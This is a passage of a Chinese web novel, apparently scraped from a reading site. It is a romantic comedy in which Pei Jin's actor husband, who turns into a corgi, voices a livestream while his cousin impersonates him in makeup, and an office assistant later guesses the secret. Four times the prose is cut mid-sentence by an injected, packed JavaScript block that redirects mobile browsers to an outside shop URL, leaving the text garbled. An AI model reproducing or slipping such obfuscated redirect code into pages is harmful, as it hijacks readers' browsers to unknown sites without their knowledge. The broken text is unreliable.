午休时间,办公场所大部分人不是在睡觉补眠,就是外出活动去了。裴矜戴着耳机,从头开始翻阅网友们整理好的事情始末。 事情始于八年前齐北宸的新人演员时期,当时齐北宸因为拒绝陪圈内女制片人单独吃晚饭冲上过热搜,虽没有后续,但本来极有可能拿到手的大制作配角告吹,还流传出了一个至今依旧广为流传的谣言——齐北宸不喜欢女人,他喜欢男人。 也是因为这件事,齐北宸在短剧没有崛起之前的年岁里大部分在各个剧组里来回打酱油,他身边的男粉比例也比一般男演员要多很多,而黑衣男正是最早的那一批男粉之一。 齐北宸的所有公开演出、发博、线下互动,他几乎都会去。直到前不久齐北宸三十岁生日,一向要和朋友们大操大办的齐北宸不但没深夜踩点发博,连生日都过得如此“节俭”引发了该群体的不满。 随后的事裴矜大概都知道,而她不知道的是,黑衣男被抓之后,齐北宸过去发博的内容一一被人翻出来考古。 福尔摩斯网友们逐个扒点,很快得出了齐北宸的结婚宣言是真实的,以及他三十岁生日是和正牌老婆过的真相。 此举惹恼了部分把齐北宸当成老公和男友来追的粉丝群体,工作室下场发带公章的声明函,并表示齐北宸因身体原因在养伤,不日会公开解释这件事,才把热度压了下去。 前因后果回顾完毕,裴矜心里有了底。她知道齐北宸原生家庭富裕,可她没想到这位大少爷才入圈就那么刚。但凡他抬出自己的家底或者拿出他最为擅长的社交手腕活动运作一番,怎么会跌到三流糊咖的地步。 裴矜叹息之余,联想起了办公室还有位齐北宸的头号迷妹。以裴矜对唐蜜的了解,她虽不至于黑衣男那样偏激,但万一她也是齐北宸的老婆粉之类的呢? 习惯性要午休补眠的裴矜彻底睡不着了,她拿出手机给唐蜜发了个消息。 裴矜:我刚刚看微博,扮演薄总的那个演员好像最近出事了? 唐蜜的消息迟迟没有回复,取而代之的是裴矜办公室的门被敲响了。 瘫坐在沙发上的裴矜立马端正坐姿,喊了一声:“进来。” 唐蜜轻手轻脚地进入后关上门,呲溜一下坐在裴矜身旁:“主任,你怎么才知道啊,事情都发酵好久了,我还以为你不喜欢薄总,早早退坑了呢。” 她哪儿是退坑,是刚入坑才对。 想到前两天两人才交换过的吻,裴矜的脸微微发热。她咽了口口水,摇摇头:“没,我不太关注那些八卦新闻,刚刚才看到,就想问问你。” “也是,不过主任你的网速也忒慢了。”唐蜜叹了口气,“听说有个私生饭闯他家的门,还伤了只宠物狗,闹挺凶的。但要我说啊,追星也得有个度,未经他人允许私闯民宅是犯.法行为,我是受不了那么疯狂的粉丝,更甭提对方还是个男人,小齐哥太惨了。” 裴矜倒是好奇:“听你的口气,你是单纯喜欢他的剧,而不是喜欢他的人?我看不少人都在喊塌房了,要脱坑回踩。” “小齐哥是演员,又不是爱豆,人家合法结婚,还大大方方晒出来告知观众了,哪儿来的塌房?”唐蜜疑惑地看了裴矜一眼,“主任,你该不会和那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819990|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 些没脑子的狂热粉一样,把他结婚的那条微博也当成是开玩笑吧?” 嗯?这个说法好像和齐北宸评论区下的大相径庭。 裴矜追问:“我看评论区不是都不相信他已婚了吗?” “那是在玩梗啦。”唐蜜忍不住笑出声,“谁让我们齐演员没结婚的时候三天两头就发博今天夸这个是他老公,明天那个是他理想型,配合正主的演出不能视而不见。” “但是小齐哥私下还是有认真的一面,真正在意的一定会用最质朴的语言表达出来,我就从头到尾没觉得他会把已婚当句玩笑话挂出来溜粉丝玩。” 不是每个人都是黑衣男那样极端分子,唐蜜坦坦荡荡,反倒是衬得她有点小心眼了。 裴矜紧皱的眉头不自觉舒展开来,唐蜜一脸坏笑:“诶,主任,你那么关心薄总的扮演者,你家那位不会吃醋吗?” 唐蜜的话让裴矜想起了前两天在医院偷瞄被正主抓包的场面,随即摆摆手:“他的想法和一般人不太一样。” “类似正宫的气场?” 裴矜险些绷不住:“应该说他很有自信。” 唐蜜连连感叹:“和我们小齐哥性格也很像呢,主任我真是佩服你怎么相亲能找到那么优秀的代餐。” 亲爱的唐助理,有没有可能过度相似的高仿其实就是正主本身呢? 事情还没解决,裴矜心里很想把实话告诉唐蜜,但在此之前她还得继续隐瞒,这个节骨眼上她不想再节外生枝了。 抱歉小唐,回头再和你好好解释。 和唐蜜的一席对话解开了裴矜心中的郁结。她下班回到家,齐北宸也给出了最新消息。 “明天等你下班,我们一起直播解释清楚。之前拖太久了,经纪人建议最好留一点时间和网友们互动解答,你这边有问题吗?” “没有,不过你可能有点问题。” “什么?” “你的发型。” 颜值第一的齐北宸立即去照镜子:“小梅这剃毛手艺实在不敢恭维,看来得找个时间去修一下了。” “去外面多麻烦,我来吧。”裴矜主动请缨,“我在家给我爸刨过几次,没问题的。” 裴矜说干就干,带着工具和齐北宸进入浴室。 齐北宸坐是坐下了,眼睛止不住地瞥镜子:“你行吗?我的发型可不像咱爸,哎哟……” 许久不开张的裴师傅一出手,又把齐北宸的耳后毛给剃秃了一块,好在别的地方剃得还算不错。 剪头结束,齐北宸看着小土匪时期同款秃毛位,心都在滴血:“老婆,你是和我这块头发过不去吗?” 裴矜抠手:“对不起,我下次注意。” 齐北宸连连摆手:“别,那么好的手艺还是留给咱爸独享吧。” 呵,那她下次还敢。 两人确认完毕,工作室连夜发出直播预告,齐北宸本人也同步转发。 几番确认,精挑细选总该没问题了吧?事实证明,想法和计划永远有脱轨的时候。 裴矜早早下班,正在家准备直播道具的时候,齐北宸忽然双腿打颤,瘫在沙发上:“老婆,我感觉自己好像又不太对劲。” 46. 天降神兵 裴矜在听到这个消息的第一时间就想把梅由谨吊起来打一顿。 说好的不会突发变身,怎么会好端端的又来! 软绵无力的齐北宸现在指望他动脑筋是靠不住了,直播公告都放出去了,现在要收回,齐北宸的公信力会进一步削弱,万万使不得。 自家父母不混圈,齐家父母现在在国外,远水解不了近渴,为今之计只有依靠一下那两位了。 发信息给梅由谨恶狠狠痛批了一顿,要求事后给个合理的解释,裴矜把希望寄托于表姐佘瑰卢烨夫妻俩。 好消息是佘瑰前天刚刚回国,现在就在家休息。一听说裴矜这边有难,夫妻俩驱车狂奔而来。 在等待表姐夫妻俩的同时,齐北宸又一次华丽变身完成。没有任何痛苦,还能开口说话,香香软软的小面包柯基一只。 裴矜望着小短腿老公心里一阵发愁。 她又不是宠物博主,老公三天两头变成萌汪,何时才是个尽头? “老婆,对不起。”齐北宸耷拉着耳朵,连沙发都跳不上去,“要是我再晚一点变成小狗就好了。” 裴矜把他抱上来摸摸头:“这也不是你的错。我刚刚已经联系表姐他们了,再过几分钟,他们就要来了。” 齐北宸在沙发上欢快地蹦了起来:“姐居然没出国?太好了!我们有救了!” 嗯?他干嘛那么兴奋,难道表姐还有超能力不成? 十分钟后,裴矜见到了比超能力还离谱的化妆现场。 在接到裴矜电话之后,佘瑰拿着化妆工具箱,带着卢烨杀了过来。沙发上的狗表弟她没兴趣多搭理,让卢烨架好设备,贴着一张齐北宸的近照,佘瑰坐下就是化妆。 化的还是男妆,齐北宸的仿妆。 裴矜这才反应过来佘瑰是打算自己cos一把齐北宸,她有些担心:“表姐,你和阿宸声音不一样,哪怕脸化得再像也不解决问题啊。” 佘瑰手上动作不停,斜睨了齐北宸一眼:“那不算什么。宸宸,你说呢?” 齐北宸点点头,小爪子搭在裴矜手背上:“老婆,你到时候只要抱着我就好。我负责说话,姐负责充当门面,一定没问题的!” 啥?一人一狗表演双簧,这能行? 裴矜眼睛夺眶欲出,卢烨对她使了个眼色:“小裴,你信不过宸宸,难道还信不过瑰姐吗?” “也不是信不过。”裴矜有点郁闷地扒拉着头发,“直播不能剪辑,要是出了纰漏可不好找补。” “那就避免一切纰漏产生。” 佘瑰化完妆,戴上假发穿好男装,站起身看向裴矜。 天生的深肤色涂成了和齐北宸同款暖白色,五官柔化,姐弟俩颇为相似的眉眼微调一下即可。 东南亚的一大特色技术如此恐怖,裴矜要不是亲眼所见很难想象。 “身高也是个问题。”卢烨绕着走了一圈,给出建议,“瑰姐,你得全程坐着。男女的身材比例不是化妆能搞定的,还有就是你得保持安静,一个字都不能发出声。” 裴矜也认同卢烨的看法,坐在裴矜腿上的小柯基齐北宸反倒不太担心:“我和我姐的革命友谊那可长了去了。老婆,你给我套上口罩,我就坐你腿上卖萌,镜头尽量对准你们。这样哪怕镜头不小心扫到我也只会把我当成小宠物,不会往玄幻剧方向脑补。” “好。” 裴矜给狗子戴上自己同款口罩,自己也戴上后以墨镜覆面。姐弟俩人对完台词,佘瑰坐在裴矜左手边,裴矜扣住齐北宸,卢烨帮忙布置完场地坐三人对面,一场双簧直播拉开了大幕。 佘瑰首先冲着镜头招招手,齐北宸响应配音。 “嗨,大家好,能看到屏幕吗?” 卢烨旁边的大屏幕实况显示滚动的弹幕和直播画面。 “能看到!” “今天的齐哥好像又帅了点,是我的错觉吗?” “笑死,上次借口养伤,现在没热度了又来蹭了?” “前面的人眼脏看什么都脏。” “纯路人,好奇主播准备说什么?” 卢烨对着三人比了个OK的手势,佘瑰对着镜头一鞠躬,齐北宸继续配音。 “很抱歉挤占了公众资源,现在本人就近期发生的事情做出详细说明。我本人于三个月之前和我身边的这位女士自由恋爱而登记结婚,当天我就在微博晒出了结婚消息。” “由于我的妻子是圈外人,我尊重她的意愿,我不会在直播中透露她的任何个人隐私。”佘瑰对着裴矜做了个请的姿势,“老婆,请你和大家打个招呼。” 全副武装的裴矜对着镜头微微颔首:“大家好,我是演员齐北宸的妻子。刚刚我先生说的正是我本人想说的,还轻多见谅。” 平静的弹幕一下热闹了起来。 “6,还以为齐北宸想结婚想疯了,没想到是真的啊?” “糊咖就是糊咖,台下的戏比台上还多。” “哥哥不要看前面,那是恶评!脐橙祝福你和嫂嫂99!” “老婆的事不是重点吧?不解释下报,案是怎么回事?” 卢烨拿起板子写了句“继续,聊黑衣男事件”,佘瑰假装清了清嗓子。 “大家重点关心的案件确有其事,报,案受理回执我已经打码放在网上了,是真实有效的。事情发生当天,我本人因故不在家中,我太太在上班,家中无人,只要一条宠物狗在。” “歹徒在非,法进入我家前,已经在我家所在的公寓楼反复踩点,我的邻居可以作证。而后我和我的太太发现了情况反常,在家安装了监控设备,防患于未然,没想到对方在我们不在家期间闯空门而入,与家中宠物狗搏斗触发警,报。” “事件发生后,我的太太第一时间联系物业保安并及时赶回家处理,我当时人在外面拍戏,得知消息着急赶回家,不慎一脚踩空,从楼梯上摔了下来,被紧急送去医院救治。” 佘瑰一边凹口型,一边露出事先缠好的绷带。 “目前我本人虽已无生命危险,但左手和右脚的骨裂伤仍未痊愈,入侵者已被公安机关依法处置。我出院后与经纪人多次沟通,认为不该任由舆论在网上发酵,所以今天选择和我的太太一同直播,将事情阐述清楚。很抱歉占用了大家的宝贵时间,我和我的太太再次郑重道歉。” 佘瑰和裴矜两人双双弯腰低头,对着镜头鞠了一躬,卢烨观察着弹幕对她们竖起大拇指,齐北宸绷紧的小爪子也放松了一点。

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823333|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 头一次直面直播的压力,裴矜的心怦怦跳。 她只是个配角,两位主角发挥出色,看卢烨的反应应该算能让路人接受吧?两人抬起头直视屏幕,弹幕大军沉寂了片刻,风向标悄然改变。 “所以那个入侵者是男的?” “OMG我算明白为什么经纪公司一直压着不说了,我要是齐北宸,能被这疯狂粉丝吓死。” “娱乐八卦里混着法治新闻,某些人的下限大开眼界。” “谁知道这直播里有多少水分?都是公关手段罢了。” “辟谣的下面还有造谣的,有空碎嘴,不如祈祷你家哥哥别遇到这些糟心事。” 裴矜和齐北宸事先商议里有意回避黑衣男本人信息,对方做错事是事实,但挂在网上性质就不一样了。 齐北宸抬眼看了裴矜一眼,小爪子在她裤腿上划拉了几下。 对事先沟通好的暗号心领神会,裴矜清了清嗓子解释:“入侵者是一位男性,详细情况涉及个人隐私不便公开。大家有什么想问的,我们愿意留出十分钟时间回答。” 弹幕如雪花般滚动。 对某些刻意刷存在感博眼球的视而不见,佘瑰先不开口,由裴矜读问题,留几秒钟时间让齐北宸思考再作回答。 “我看看大家问了些什么。齐北宸本人的情况现在如何?” “哦,还活着,会喘气。”佘瑰摆出个豪放的姿势往后靠在椅子上,“医生说最近以康复训练为主,因此我的各项活动会暂停一段时间。” “下一个问题,是问我的?”裴矜眉头一挑,“真嫂子官宣却无故躺枪,嫁给齐北宸你后悔了吗?” 一个蛮犀利的问题。 裴矜捏捏齐北宸的小狗屁股,一派淡然:“闯空门这事始料未及,嫁给我先生我没后悔过。我要是后悔了也不会愿意陪他直播澄清。” 弹幕飘过一排祝99,里面混着零星几条关注小狗的。 “嫂嫂腿上的小狗是柯基吗?卡哇伊~” “为什么小狗也要戴口罩?” “有些粉丝狠起来连狗都砍,那么萌的小动物得好好保护。” 确实,就是对方不知道砍的是正主,还被正主咬了。裴矜抱着柯基小方包,沉浸式撸小狗,直到一条八卦味十足的弹幕被人拱了上来。 “作为资深脐橙,我想问小齐哥,为什么会选择和素人嫂嫂结婚?” 这题超纲了,佘瑰不知道,卢烨也帮不上忙。裴矜摸狗的手一顿,下意识看向狗狗老公。 小狗眼对着佘瑰眨了好几下,佘瑰人维持着舒适的姿势,食指与大拇指张开,其余三指微微弯曲,右手覆盖住下半张脸避免穿帮:“这个嘛,自然是因为喜欢。” 弹幕起哄。 “喜欢嫂嫂什么?” “喜欢她小古板又有责任感,喜欢她在工作上拼命到底,更喜欢她会安静地听我说她根本不懂的领域,然后告诉我,是金子哪怕不会发光也会有人看到。” 腿上的小狗边说着,边趴在裴矜腿上蹭了蹭。 “不过这些都不是重点。两人相爱是被彼此的优点吸引,能走下去是因为能包容彼此的缺点。老婆,哪怕我不够完美,你依然会选择我吗?” 47. 故地重游 这句话不在事先准备好的台本上,裴矜愣住了,佘瑰卢烨也有片刻的呆滞。 国际影后在关键时刻发挥出了超绝的临场反应能力,她转过身,配合着齐北宸的疑问深情地看着裴矜。 裴矜的手牢牢地陷在柯基的棕白色短毛里,僵持了数秒后才渐渐松开。 “证都扯了,现在想起来问这个?齐北宸,你的脑袋要不也拿去修理厂加点润滑油?” 面对面的佘瑰险些绷不住脸破功,她偷偷掐了自己大腿一把才稳定住表情。 “不过,我们是凡人,凡人夫妻哪儿有完美的?”裴矜一下一下轻柔地顺着手下的狗毛,随后摊开手掌握住狗狗的肉垫,“嘴上说的天长地久永远抵不过现实生活的柴米油盐酱醋茶,你的考验还在后面,准备好了吗?齐先生。” “我的荣幸,齐太太。” “齐先生”温和深情的模样直接把直播热度送上了第一,而裴矜手心里的汗全给抹在了正牌齐先生身上。 直播结束,经纪人打电话给齐北宸,言谈之间的喜悦之情溢于言表。在现场全程打配合的佘瑰卢烨夫妇,佘瑰看着小柯基不停地摇头说牙酸,平时不说话的卢烨表现更为直接。 “有生之年,没想到还能被狗给喂一嘴狗粮,这世道也是变了。” 姐夫好嘴,就是刀割在自己肉上有点疼。 裴矜不敢随便接话,佘瑰的眼睛在狗表弟和裴矜之间打了个来回,卸完妆拍拍自己老公:“走了,难道你还嫌狗粮吃得不够?” “我可没这样说。”卢烨耸耸肩,帮佘瑰提起大包小包,“对了,宸宸,临走前我要告诉你一个好消息。小梅的特效药对我很有用,不出意外的话,我应该不会再变成狗了。” “啊?” “什么!” 此话一出,裴矜和齐北宸同时发出一声叫。 “干嘛那么惊讶,小烨没你情况特殊,早些痊愈很正常。”佘瑰走到门口时,回过身补了一刀,“宸宸,不行你就问小梅多拿点药吃?” 卢烨更是面无表情地在伤口上撒盐:“吃多了没准还有副作用,改天你得好好查查,说不定真让小裴说对了?” 裴矜瘪嘴不吭气。 姐姐和姐夫杀伤力如此之大,她可不像齐北宸那样上赶着给人骂。 齐北宸就不同了,哪怕变成狗子,那一刻都静不下来的魂都能带着他在椅子上蹦迪。 “我哪儿有!我头脑非常清醒!你们就是嫉妒我有老婆疼!” 裴矜抱起狗子去浴室:“行了你,姐姐姐夫都走了,你还汪汪叫。” 齐小狗往裴矜怀里一倒,肉垫蹭着裴矜衣角:“我就是委屈嘛,凭什么小姐夫的特效药,到我这里就变成加速变身药了?” “好事多磨,慢慢来呗。”裴矜把小狗老公放进浴室的澡盆里,“好了,现在是给小狗狗洗香香时间,不要乱动哦~” 柯基齐北宸一下脸涨得通红,但在人类的绝对力量面前,等待小面包的结果只有一个。 半小时后,原本不情不愿的齐北宸抖着一身蓬松的毛发趴在裴矜的床铺一侧,小鼻子一吸一呼打着小呼噜,身下是新买的羊毛毯子,一举重回狗生巅峰。 果然还是洗干净的小狗最棒。 洗漱完毕,裴矜揉了揉柯基的头,凑近闻还有一股清香味。在小狗的头上落下一吻,裴矜才躺下与齐北宸互道晚安后安然入睡。 世界被按下了静音键,睡意如潮水般涌来。 第二天一早裴矜醒来时,全身轻松了不少。她活动着筋骨,准备开始打工人新的一天。 起床洗漱,吃早餐时,小面包狗狗在裴矜的脚边钻来钻去,小爪子攥着裴矜的裤腿:“老婆,我不想和你分开。” 裴矜蹲下身点点狗鼻子:“你是不是又想和我去上班?” “嗯嗯!” “想得美,你别以为现在造型可爱就塞得进航空包,柯基可是中型犬,不是小泰迪。” “老婆你是担心这个啊,简单。” 小短腿一迈就往自己房里钻,不消片刻,齐北宸叼着一只黑色的航空包闪亮登场。 上次装小泰迪的是粉色周边,这个是怎么回事? 裴矜半边眉头一挑:“哪儿来的?” 齐北宸前爪搭在包上:“我买的。粉色那个太小了,我当时想,假设我变成大型犬就没办法进去了,所以干脆买个大的,嘻嘻。” 真行,心机小狗,还给他自豪上了。 “光是这样不解决问题。” “流程我都懂,等着哦老婆。” 狗屁股一撅,齐北宸又叼来了车钥匙和一个小布袋。裴矜一看布袋就笑出声来,这不是他变成金毛时期专门用来卖萌的“我是乖狗,汪!”吗? “戏真多啊你。”裴矜戳了戳狗头,“你就那么不想在家待着吗?” 齐北宸抱着裴矜小腿一阵扭捏:“不要把我丢给王妈啊老婆,你想嘛,咱家每隔一阵子就冒出一只新品种的狗,王妈嘴上不说心里肯定会感觉奇怪。” “你把我带去上班就不一样啦,我算过时间,你上班去了王妈还没来,你下班了王妈正好走。你把我带着不止可以完美规避问题,还能近距离观察我。要是我有个万一,你也不用像上次那样急匆匆往家里赶,多好。” 狗嘴巴张开一通叭叭说得挺像那么回事,实际上不就嫌弃在家闷得慌吗? 裴矜看破不说破,她转身进屋拿了一条狗绳放在包里:“还不快点进来?我得顺路带你去小梅屋缠一下绷带,你也不想才好一点的伤口又裂开吧?” 齐北宸二话不说乖乖钻进航空包里蹲好,裴矜打包带好东西驱车前往小梅屋。 到了目的地,裴矜第一句话就把梅由谨压得大气都不敢喘:“小梅,我昨天给你发信息你一个字都不回,现在贵店的VIP待客之道已经升级到这个地步了吗?” “裴小姐,稀客啊!”梅由谨挠挠头,把人迎了进来,“不好意思,我昨天看到回是回了,但我们这儿昨晚上信号故障,没能给你发出去。” 梅由谨打开航空包,见到柯基齐北宸时还朝他打了个招呼才替他固定绷带,同时告知昨天没能发给裴矜的消息。 “突发变狗这个问题我有想过,但没想到对齐哥的效果会那么强烈。卢哥喝完药后我看过他的数据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826263|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,体征稳定且已经超过十天没有任何变狗趋势,因此我初步判断他痊愈了。” “齐哥的问题我也想过,卢哥的数据不能完全用于齐哥身上,我过几天会针对齐哥再开发一批新的特效药,我们再多观察一下。” 梅由谨包扎完,又交代了几句:“绷带绑好了,记住洗澡的时候不要碰到水。日常的康复不能丢下,可以适当出去散步遛弯。齐哥你是狗狗形态的时候恢复效果意外比人形态时候要快一点,变狗不是你的初衷,可事已如此,不如趁机好好养伤?” “知道了,别人说一句,你说十句。”齐北宸不耐烦地甩甩狗耳朵,“我们还赶时间去上班,下次再来看你。” “诶?裴小姐是要带咱们小齐狗去上班吗?” 注意到齐北宸挂在狗脖子上的我是乖狗小袋子和裴矜一身职业装,梅由谨表情变得戏谑:“看不出来啊,我还以为以裴小姐的性格会更公事公办一点,没想到还是败在撒娇齐哥的攻势下。” 他笑着把人送出去,站在店门口对裴矜挥挥手:“两位路上小心,回头见。” 这个梅由谨,眼睛毒嘴巴也毒,下次得再好好薅他一通羊毛! 一路顺遂地开车来到公司,裴矜提溜着航空包下车,在电梯间毫不意外地遭遇了与之前一样的注目礼。 柯基齐北宸这次安静地在航空包里装狗形液体,没有探出小脑袋释放它无处安放的社交能量,裴矜顿感社交压力骤减。 看来他们俩想合作还是可以打好配合的。 裴矜在小梅屋遭受的短暂郁闷一扫而空。 进入自己办公室把小齐狗从航空包里解放出来,顾及受伤小狗腿短上下不方便,裴矜把狗放在沙发上,给他架好平板。 “说话要注意场合,不然你这小狗下午就得去研究所报道,听到没?” 齐北宸汪了一声:“坚决配合老婆完成任务!” “乖。”裴矜撸了两下狗,“你要是表现好,中午午休带你去逛街。” 狗老公立即变身二十四孝小乖狗,默默刷平板。 齐北宸安静,裴矜工作效率也高。一只明晃晃的狗子趴在沙发上看平板搁在任何地方都是一道特殊的风景线,放久了自会有人询问。 一上午第三次借口送文件趁机来吸狗的唐蜜一进办公室门,两只眼睛就黏在她那变成狗子的偶像身上。 齐北宸的小爪子呲溜一下缩进狗毛下,扮演母鸡蹲小柯基,身上的狗毛根根炸开,狗头一动不敢动。 怎么每次齐北宸变成狗,唐蜜都能透过壳子精准捕捉她的偶像本体,军用雷达都没她准吧。 内心惊涛骇浪,场面话还得说。裴矜轻敲桌子,提醒她那个只顾着看狗的助理回神:“小唐,你的文件再捏手里该泡发皱了。” 唐蜜嘿嘿一笑,把文件放在桌上,凑近了裴矜全方位扫视。 裴矜和唐蜜认识那么久,还没见过她这样打量自己,鸡皮疙瘩集体起立,整个人往后仰:“你干嘛?” “奇怪诶~”唐蜜伸回脖子,手指摸着下巴,眉头紧锁,“主任,我怎么感觉昨天晚上我好像在直播间看到过你带来的那只柯基?” 48. 两级反转 裴矜心里一惊,下意识瞥向了沙发上的齐北宸。 察觉到裴矜的注视,柯基犬费力地跳下沙发,一路小跑到裴矜腿边蹭了蹭。 “对嘛,我就感觉我没看错。”唐蜜近距离又看了看狗子耳朵后的毛,语气笃定,“我昨天看直播看到那只狗的耳朵后少了一块毛,今天那么巧,又看到一只耳朵后同个位置少毛的狗,品种还一样,想想都不可思议。” 唐蜜看完狗抬起头,眼睛死死地盯着裴矜:“主任,我清楚地记得昨天抱着狗的人是小齐哥的老婆,所以你其实是……?” 话说到这个份上,就差没把正确答案点穿放在台面上。 本就不打算过多隐瞒的裴矜叹了口气,抱起狗子放在自己腿上点点头:“就是你想的那样。” “哎哟妈耶,我的天呐!”唐蜜不可控制地发出一声尖锐的爆鸣,下一秒她立即捂住自己的嘴巴,两只眼睛瞪得滚圆。“所以我之前看到你的老公,其实就是小齐哥本人?” “对。” “你瞒我瞒得好苦啊主任!” “对不起,不是故意瞒着你的,你不会生气吧?” “因为这种芝麻绿豆的小事生气,主任你把我唐蜜当成什么人了?”唐蜜满不在乎地撇撇嘴,“换成别人是小齐哥的老婆我不了解不发表评价,你的话我还是能猜到一二的。是不是你不想暴,露自己嫁了个明星艺人,想在公司维持低调?” 还真让她給猜到了,裴矜颔首:“是的,这事公司里知道的人不多,请你务必保密。” “主任你是信任我才说出来的,放心好啦”唐蜜挑挑眉,又问,“那天穿着居家服在楼下接你的也是他本尊?” “没错。” “啊啊啊,我居然错过了那么珍贵的合影机会!”唐蜜扼腕痛惜不过一秒就转了频道,“不对,我记得小齐哥答应过我和方哥要请我们吃饭,这应该还作数吧?” 哦,好问题。 裴矜轻拍着柯基的面包臀,后者用肉垫轻点裴矜的腿。 接收到齐北宸的信号,裴矜点点头:“应该作数。” 唐蜜长舒一口气:“那就好,不然我也太吃亏了。” 呵,也不知道之前收了她零食钱答应要保密的人是谁。 裴矜好笑地暗自摇头,唐蜜舒了一半的气又咽了回去。 “诶,不对。” “又怎么了?” “方哥……方哥他知道这件事吗?” 那么绝的问题更不好回答啊。 裴矜没直接说出口,双手摊开,对着唐蜜耸耸肩,后者眼睛一眯。 “好他个方铭,难怪开车的时候笑得和喇叭花似的,原来你们那么多人合起来瞒着我一个!哼!” 哎哟哟,唐小姐生气了后果很严重。裴矜拉开抽屉拿出小饼干交给齐北宸,柯基犬歪着狗头把饼干包装咬住一角递了过去。 唐蜜再大的怨气在看到萌物的那一刻烨消散了不少,她撇着嘴接过饼干,趁机摸摸狗子:“算了,看在狗子的面上,不能多生气,气多了容易长皱纹。主任,我看你也是被方哥给带到沟里去了,下不为例哦!” 方铭,对不起,为了消灭唐蜜的火气,只好先委屈你了。 裴矜陪着笑,膝盖上的齐北宸摇摇尾巴,看看裴矜又看看唐蜜,然后默默歪了下狗头。 左右无人,办公室就两人一狗。唐蜜把门一锁,拉着椅子滚动滑轮,坐到裴矜身边:“主任,换做平时我是不愿意透露过多信息的,可谁让方哥先不义的?那就怪不得我了。” 她压低声音,又往裴矜耳边凑了凑:“主任,方哥海王名号在外是不假,那你知道他真实情况是什么样的吗?” “嗯……略有耳闻。”裴矜想起了方铭之前在车里的自白,大概复述了一点,“好像他的前女友劈腿了我们公司的谁,然后他被恶人先告状了?” 唐蜜点头如捣蒜:“不错啊主任,这你都知道。方哥人算不错了,那个男小三现在早离开公司了,他也没公开对方信息。但是你知道吗?这可不是方哥第一次被抛弃了。” 什么?方海王秒变苦情戏男主角? 裴矜和腿上的齐北宸对视了一眼,均露出迷惑的表情。唐蜜见状更是笑得不行:“看来主任你只知其一不知其二啊。方哥他刚刚来公司的时候,他大学女友就嫌他当时是个没站稳的穷学生,把他丢下和一个富商跑了,他为此消沉了好几年。” “等他大概二十五六岁的时候,朋友介绍给他一个女孩子,对方长得很好看,家世背景也很不错。结果你猜怎么着?人家富家小姐裙下之臣一大片,要雨露均沾,方哥受不了她那么豪放的作风没几个月就吹了。” “后来就是你知道的那个前女友,俩人谈了一年多,感情稳定下来了,大家都以为这回该稳了吧?结果方哥在外拼事业出差,一回来,家被偷了,你说他到底是海王还是绿帽王?” 裴矜听得一愣一愣的,她初印象里的方铭早在日常接触中一点点被改写了印象,只是她没想到方铭居然还有这么一段过去,真是闻者伤心见者落泪。 好在齐北宸的母亲给他介绍了一个不错的人,他吃亏上当那么多次,也是时候苦尽甘来了。 裴矜摇头,蹲在她腿上的齐北宸也同步摇了摇狗头。一人一狗神同步动作把唐蜜看乐了,她弯下腰揉揉狗子的脸。 “这个小宝贝怎么好玩?主任你还挺招狗狗喜欢的嘛,算上上两回,这都第三只了吧?” 唐蜜同学,你要是知道你现在在揉你偶像的狗脸,会不会发出女高音一样的尖叫? 裴矜扯了扯嘴角,挤出一个勉强的笑容:“朋友开宠物店的,我偶尔会帮忙带一只出来试试反响。” “诶~羡慕。我想你那个朋友应该也挺喜欢我们小齐哥那款的,连狗狗养得都超亲人又有点社牛属性在身上。” 裴矜冷汗涔涔,齐北宸更是一动不敢动任由唐蜜搓圆搓扁。 一时间裴矜难以吐槽黑衣男和唐蜜哪个才是齐北宸命中的劫数,想了想还是选择牺牲一把齐北宸的萌狗形象混过去再说吧。 手捏偶像肉垫自己浑然不知,唐蜜边撸狗边问:“主任,这只小狗叫什么名字?” 怎么那么多人喜欢问狗名字,她现编还不成吗? 紧急时刻,裴矜的理性脑占据了大半,脱口而出:“他叫矮脚虎,是不是很形象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828973|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ?哈哈。” 齐北宸用尽全身力气一跺脚,整只狗在裴矜腿上抖得像只刚烤出来的吐司面包。 